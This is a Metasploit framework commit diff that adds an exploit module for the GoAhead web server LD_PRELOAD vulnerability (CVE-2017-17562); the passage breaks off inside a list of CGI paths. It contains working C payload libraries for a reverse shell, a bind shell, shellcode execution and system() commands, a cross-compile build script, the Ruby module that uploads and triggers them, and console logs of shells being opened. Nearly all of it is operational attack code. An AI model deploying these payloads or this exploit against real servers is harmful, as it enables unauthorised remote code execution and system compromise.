Land #9349, GoAhead LD_PRELOAD CGI Module
commit
aae77fc1a4
|
@ -0,0 +1,48 @@
|
|||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,reverse,bind}
|
||||
do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
#
|
||||
# Linux GLIBC
|
||||
#
|
||||
|
||||
# x86
|
||||
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
|
||||
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
|
||||
|
||||
# MIPS
|
||||
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
|
||||
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
|
||||
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
|
||||
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,96 @@
|
|||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _bind_tcp_shell(void) {
|
||||
|
||||
int sfd, fd, i;
|
||||
struct sockaddr_in addr,saddr;
|
||||
unsigned int saddr_len = sizeof(struct sockaddr_in);
|
||||
|
||||
char *lport = "55555";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
sfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));
|
||||
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = htons(atoi(lport));
|
||||
saddr.sin_addr.s_addr = INADDR_ANY;
|
||||
bzero(&saddr.sin_zero, 8);
|
||||
|
||||
if (bind(sfd, (struct sockaddr *) &saddr, saddr_len) == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (listen(sfd, 5) == -1) {
|
||||
close(sfd);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fd = accept(sfd, (struct sockaddr *) &addr, &saddr_len);
|
||||
close(sfd);
|
||||
|
||||
if (fd == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_bind_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,84 @@
|
|||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _reverse_tcp_shell(void) {
|
||||
|
||||
int fd, i;
|
||||
struct sockaddr_in addr;
|
||||
char *lport = "55555";
|
||||
char *lhost = "000.000.000.000";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
fd = socket(PF_INET, SOCK_STREAM, 0);
|
||||
addr.sin_port = htons(atoi(lport));
|
||||
addr.sin_addr.s_addr = inet_addr(lhost);
|
||||
addr.sin_family = AF_INET;
|
||||
|
||||
memset(addr.sin_zero, 0, sizeof(addr.sin_zero));
|
||||
|
||||
for (i=0; i<10; i++) {
|
||||
if (! connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_reverse_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64le.so.gz
Executable file
BIN
data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64le.so.gz
Executable file
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,44 @@
|
|||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.0");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
void *mem;
|
||||
void (*fn)();
|
||||
|
||||
unsetenv("LD_PRELOAD");
|
||||
|
||||
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED)
|
||||
return;
|
||||
|
||||
memcpy(mem, payload, PAYLOAD_SIZE);
|
||||
fn = (void(*)())mem;
|
||||
|
||||
if (! fork())
|
||||
fn();
|
||||
|
||||
exit(0);
|
||||
}
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,32 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
int dummy = 0;
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
dummy = system((const char*)payload);
|
||||
|
||||
exit(dummy);
|
||||
}
|
|
@ -0,0 +1,21 @@
|
|||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
|
@ -0,0 +1,121 @@
|
|||
## Vulnerable Application
|
||||
|
||||
The GoAhead httpd server between versions 2.5 and 3.6.4 are vulnerable to an arbitrary code execution
|
||||
vulnerability where a remote attacker can force a supplied shared library to be loaded into the process
|
||||
of a CGI application. This module delivers a shared library payload as the raw data to a POST request
|
||||
and forces this to be loaded by specifying a `LD_PRELOAD` value of `/proc/self/fd/0`.
|
||||
|
||||
### Kali 2017.3 and Ubuntu 16.04 Install Instructions
|
||||
|
||||
These instructions are based on the vulerability analysis by [elttam.com.au](https://www.elttam.com.au/blog/goahead/)
|
||||
|
||||
```
|
||||
git clone https://github.com/embedthis/goahead.git
|
||||
cd goahead/
|
||||
git checkout tags/v3.6.4 -q
|
||||
make > /dev/null
|
||||
cd test
|
||||
gcc ./cgitest.c -o cgi-bin/cgitest
|
||||
../build/linux-x64-default/bin/goahead . 127.1.1.1:8080
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/goahead_ldpreload```
|
||||
4. Do: ```set rhost [ip]```
|
||||
5. Do: ```exploit```
|
||||
6. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGET_URI**
|
||||
|
||||
Optional. The full path to a CGI endpoint on the target server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### GoAhead 3.6.4 on Ubuntu 16.04 x64
|
||||
|
||||
```
|
||||
|
||||
msf> use exploit/linux/http/goahead_preload
|
||||
msf exploit(goahead_ldpreload) > set RHOST 127.1.1.1
|
||||
msf exploit(goahead_ldpreload) > set RPORT 8080
|
||||
msf exploit(goahead_ldpreload) > check
|
||||
|
||||
[*] Searching 390 paths for an exploitable CGI endpoint...
|
||||
[+] Exploitable CGI located at /cgi-bin/cgitest
|
||||
[+] 127.1.1.1:8080 The target is vulnerable.
|
||||
|
||||
msf exploit(goahead_ldpreload) > exploit
|
||||
|
||||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
|
||||
[*] Started reverse TCP handler on 127.0.0.1:4444
|
||||
[*] Searching 390 paths for an exploitable CGI endpoint...
|
||||
[+] Exploitable CGI located at /cgi-bin/cgitest
|
||||
[*] Command shell session 4 opened (127.0.0.1:4444 -> 127.0.0.1:32988) at 2017-12-28 16:26:50 -0600
|
||||
|
||||
uname -a
|
||||
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
|
||||
msf exploit(goahead_ldpreload) > set TARGET 1
|
||||
msf exploit(goahead_ldpreload) > unset PAYLOAD
|
||||
msf exploit(goahead_ldpreload) > exploit
|
||||
|
||||
[*] Started bind handler
|
||||
[*] Searching 390 paths for an exploitable CGI endpoint...
|
||||
[+] Exploitable CGI located at /cgi-bin/cgitest
|
||||
[*] Command shell session 5 opened (127.0.0.1:30836 -> 127.1.1.1:4444) at 2017-12-28 16:28:04 -0600
|
||||
|
||||
uname -a
|
||||
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
|
||||
msf exploit(goahead_ldpreload) > set TARGET 2
|
||||
msf exploit(goahead_ldpreload) > unset PAYLOAD
|
||||
msf exploit(goahead_ldpreload) > exploit
|
||||
|
||||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
|
||||
[*] Started reverse TCP double handler on 127.0.0.1:4444
|
||||
[*] Searching 390 paths for an exploitable CGI endpoint...
|
||||
[+] Exploitable CGI located at /cgi-bin/cgitest
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo sNRXNjxWl7ic0uWw;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "sNRXNjxWl7ic0uWw\r\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 6 opened (127.0.0.1:4444 -> 127.0.0.1:32995) at 2017-12-28 16:28:56 -0600
|
||||
|
||||
uname -a
|
||||
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
|
||||
|
||||
msf exploit(goahead_ldpreload) > set TARGET 4
|
||||
msf exploit(goahead_ldpreload) > unset PAYLOAD
|
||||
msf exploit(goahead_ldpreload) > exploit
|
||||
|
||||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
|
||||
[*] Started reverse TCP handler on 127.0.0.1:4444
|
||||
[*] Searching 390 paths for an exploitable CGI endpoint...
|
||||
[+] Exploitable CGI located at /cgi-bin/cgitest
|
||||
[*] Command shell session 7 opened (127.0.0.1:4444 -> 127.0.0.1:33000) at 2017-12-28 16:29:34 -0600
|
||||
|
||||
uname -a
|
||||
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
|
||||
```
|
||||
|
||||
|
||||
## Logging
|
||||
|
||||
Each 404 error will generate a console or log entry similar to `goahead: 0: Cannot find CGI program:`.
|
|
@ -244,10 +244,22 @@ class Exploit
|
|||
'php/meterpreter_reverse_tcp',
|
||||
'ruby/shell_reverse_tcp',
|
||||
'nodejs/shell_reverse_tcp',
|
||||
|
||||
#
|
||||
# The interact payload is a do-nothing stub that hijacks an existing connection
|
||||
#
|
||||
'cmd/unix/interact',
|
||||
|
||||
'cmd/unix/reverse',
|
||||
'cmd/unix/reverse_perl',
|
||||
'cmd/unix/reverse_netcat_gaping',
|
||||
|
||||
#
|
||||
# These stubs are used in exploits which provide their own payloads
|
||||
#
|
||||
'cmd/unix/reverse_stub',
|
||||
'cmd/unix/bind_stub',
|
||||
|
||||
'windows/meterpreter/reverse_nonx_tcp',
|
||||
'windows/meterpreter/reverse_ord_tcp',
|
||||
'windows/shell/reverse_tcp',
|
||||
|
@ -257,10 +269,13 @@ class Exploit
|
|||
pref.each do |n|
|
||||
if(pset.include?(n))
|
||||
mod.datastore['PAYLOAD'] = n
|
||||
if n.index('reverse')
|
||||
mod.datastore['LHOST'] = Rex::Socket.source_address(rhost)
|
||||
end
|
||||
return n
|
||||
end
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,391 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load',
|
||||
'Description' => %q{
|
||||
This module triggers an arbitrary shared library load vulnerability
|
||||
in GoAhead web server versions between 2.5 and that have the CGI module
|
||||
enabled.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit
|
||||
'h00die', # Metasploit Module
|
||||
'hdm', # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-17562' ],
|
||||
[ 'URL', 'https://www.elttam.com.au/blog/goahead/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 5000,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
|
||||
[ 'Automatic (Reverse Shell)',
|
||||
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true,
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_reverse_stub',
|
||||
'ConnectionType' => 'reverse',
|
||||
}
|
||||
}
|
||||
}
|
||||
],
|
||||
|
||||
[ 'Automatic (Bind Shell)',
|
||||
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true,
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_bind_stub',
|
||||
'ConnectionType' => 'bind'
|
||||
}
|
||||
}
|
||||
}
|
||||
],
|
||||
|
||||
[ 'Automatic (Command)',
|
||||
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
|
||||
],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
|
||||
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
|
||||
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
|
||||
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
|
||||
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
|
||||
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
|
||||
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
|
||||
|
||||
# PowerPC stubs are currently over the 16384 maximum POST size
|
||||
# [ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
|
||||
# [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
|
||||
# [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
|
||||
|
||||
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
|
||||
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
|
||||
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SHELL' => '/bin/sh',
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Dec 18 2017', # June 9th, technically, via github commit.
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server'])
|
||||
])
|
||||
end
|
||||
|
||||
# Setup our mapping of Metasploit architectures to gcc architectures
|
||||
def setup
|
||||
super
|
||||
@@payload_arch_mappings = {
|
||||
ARCH_X86 => [ 'x86' ],
|
||||
ARCH_X64 => [ 'x86_64' ],
|
||||
ARCH_MIPS => [ 'mips' ],
|
||||
ARCH_MIPSLE => [ 'mipsel' ],
|
||||
ARCH_MIPSBE => [ 'mips' ],
|
||||
ARCH_MIPS64 => [ 'mips64' ],
|
||||
ARCH_MIPS64LE => [ 'mips64el' ],
|
||||
|
||||
# PowerPC stubs are currently over the 16384 maximum POST size
|
||||
# ARCH_PPC => [ 'powerpc' ],
|
||||
# ARCH_PPC64 => [ 'powerpc64' ],
|
||||
# ARCH_PPC64LE => [ 'powerpc64le' ],
|
||||
|
||||
ARCH_SPARC => [ 'sparc' ],
|
||||
ARCH_SPARC64 => [ 'sparc64' ],
|
||||
ARCH_ARMLE => [ 'armel', 'armhf' ],
|
||||
ARCH_AARCH64 => [ 'aarch64' ],
|
||||
ARCH_ZARCH => [ 's390x' ],
|
||||
}
|
||||
|
||||
# Architectures we don't offically support but can shell anyways with interact
|
||||
@@payload_arch_bonus = %W{
|
||||
mips64el sparc64 s390x
|
||||
}
|
||||
|
||||
# General platforms (OS + C library)
|
||||
@@payload_platforms = %W{
|
||||
linux-glibc
|
||||
}
|
||||
end
|
||||
|
||||
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
|
||||
def cycle_possible_payloads
|
||||
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562")
|
||||
template_list = []
|
||||
template_type = nil
|
||||
template_arch = nil
|
||||
|
||||
# Handle the generic command types first
|
||||
if target.arch.include?(ARCH_CMD)
|
||||
|
||||
# Default to a system() template
|
||||
template_type = 'system'
|
||||
|
||||
# Handle reverse_tcp() templates
|
||||
if target['ReverseStub']
|
||||
template_type = 'reverse'
|
||||
end
|
||||
|
||||
# Handle reverse_tcp() templates
|
||||
if target['BindStub']
|
||||
template_type = 'bind'
|
||||
end
|
||||
|
||||
all_architectures = @@payload_arch_mappings.values.flatten.uniq
|
||||
|
||||
# Prioritize the most common architectures first
|
||||
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
|
||||
template_list << all_architectures.delete(t_arch)
|
||||
end
|
||||
|
||||
# Queue up the rest for later
|
||||
all_architectures.each do |t_arch|
|
||||
template_list << t_arch
|
||||
end
|
||||
|
||||
# Handle the specific architecture targets next
|
||||
else
|
||||
template_type = 'shellcode'
|
||||
target.arch.each do |t_name|
|
||||
@@payload_arch_mappings[t_name].each do |t_arch|
|
||||
template_list << t_arch
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Remove any duplicates that may have snuck in
|
||||
template_list.uniq!
|
||||
|
||||
# Cycle through each top-level platform we know about
|
||||
@@payload_platforms.each do |t_plat|
|
||||
|
||||
# Cycle through each template and yield
|
||||
template_list.each do |t_arch|
|
||||
|
||||
|
||||
wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
|
||||
unless ::File.exist?(wrapper_path)
|
||||
raise RuntimeError.new("Missing executable template at #{wrapper_path}")
|
||||
end
|
||||
|
||||
data = ''
|
||||
::File.open(wrapper_path, "rb") do |fd|
|
||||
data = Rex::Text.ungzip(fd.read)
|
||||
end
|
||||
|
||||
pidx = data.index('PAYLOAD')
|
||||
if pidx
|
||||
data[pidx, payload.encoded.length] = payload.encoded
|
||||
end
|
||||
|
||||
if %W{reverse bind}.include?(template_type)
|
||||
pidx = data.index("55555")
|
||||
if pidx
|
||||
data[pidx, 5] = datastore['LPORT'].to_s.ljust(5)
|
||||
end
|
||||
end
|
||||
|
||||
if 'reverse' == template_type
|
||||
pidx = data.index("000.000.000.000")
|
||||
if pidx
|
||||
data[pidx, 15] = datastore['LHOST'].to_s.ljust(15)
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...")
|
||||
yield(data)
|
||||
|
||||
# Introduce a small delay for the payload to stage
|
||||
Rex.sleep(0.50)
|
||||
|
||||
# Short-circuit once we have a session
|
||||
return if session_created?
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Start the shell train
|
||||
def exploit
|
||||
# Find a valid CGI target
|
||||
target_uri = find_target_cgi
|
||||
return unless target_uri
|
||||
|
||||
# Create wrappers for each potential architecture
|
||||
cycle_possible_payloads do |wrapped_payload|
|
||||
|
||||
# Trigger the vulnerability and run the payload
|
||||
trigger_payload(target_uri, wrapped_payload)
|
||||
return if session_created?
|
||||
end
|
||||
end
|
||||
|
||||
# Determine whether the target is exploitable
|
||||
def check
|
||||
# Find a valid CGI target
|
||||
target_uri = find_target_cgi
|
||||
unless target_uri
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
# Upload and LD_PRELOAD execute the shared library payload
|
||||
def trigger_payload(target_uri, wrapped_payload)
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri),
|
||||
'vars_get' => {
|
||||
'LD_PRELOAD' => '/proc/self/fd/0'
|
||||
},
|
||||
'data' => wrapped_payload
|
||||
})
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets
|
||||
def find_target_cgi
|
||||
|
||||
target_uris = []
|
||||
common_dirs = %W^
|
||||
/
|
||||
/cgi-bin/
|
||||
/cgi/
|
||||
^
|
||||
common_exts = ["", ".cgi"]
|
||||
common_cgis = %W^
|
||||
admin
|
||||
apply
|
||||
non-CA-rev
|
||||
checkCookie
|
||||
check_user
|
||||
chn/liveView
|
||||
cht/liveView
|
||||
cnswebserver
|
||||
config
|
||||
configure/set_link_neg
|
||||
configure/swports_adjust
|
||||
eng/liveView
|
||||
firmware
|
||||
getCheckCode
|
||||
get_status
|
||||
getmac
|
||||
getparam
|
||||
guest/Login
|
||||
home
|
||||
htmlmgr
|
||||
index
|
||||
index/login
|
||||
jscript
|
||||
kvm
|
||||
liveView
|
||||
login
|
||||
login.asp
|
||||
login/login
|
||||
login/login-page
|
||||
login_mgr
|
||||
luci
|
||||
main
|
||||
main-cgi
|
||||
manage/login
|
||||
menu
|
||||
mlogin
